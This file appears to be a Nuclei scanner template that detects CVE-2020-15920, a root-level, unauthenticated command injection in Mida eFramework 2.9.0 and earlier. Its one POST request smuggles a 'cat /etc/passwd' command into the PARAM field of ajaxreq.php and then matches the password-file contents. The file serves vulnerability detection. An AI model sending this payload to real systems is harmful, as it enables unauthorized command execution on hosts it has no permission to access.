id: CVE-2020-15920

info:
  name: Mida eFramework <=2.9.0 - Remote Command Execution
  author: dwisiswant0
  severity: critical
  description: Mida eFramework through 2.9.0 allows an attacker to achieve remote code execution with administrative (root) privileges. No authentication is required.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the target system.
  remediation: |
    Upgrade Mida eFramework to a version higher than 2.9.0 to mitigate the vulnerability.
  reference:
    - https://elbae.github.io/jekyll/update/2020/07/14/vulns-01.html
    - http://packetstormsecurity.com/files/158991/Mida-eFramework-2.9.0-Remote-Code-Execution.html
    - http://packetstormsecurity.com/files/159194/Mida-Solutions-eFramework-ajaxreq.php-Command-Injection.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-15920
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-15920
    cwe-id: CWE-78
    epss-score: 0.93565
    epss-percentile: 0.99838
    cpe: cpe:2.3:a:midasolutions:eframework:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: midasolutions
    product: eframework
  tags: cve2020,cve,mida,rce,packetstorm,midasolutions,vkev,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/PDC/ajaxreq.php?PARAM=127.0.0.1+-c+0%3B+cat+%2Fetc%2Fpasswd&DIAGNOSIS=PING"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100ebb4a9bb78d77a60c8aadaf8eb1ad5939bef31702e9b02839ba5e5882ea2ae4202200647c1c88c153ea74c1464d625d64b2b383af041dad14eaf85fb97b6b3bd76cf:922c64590222798bb761d5b6d8e72950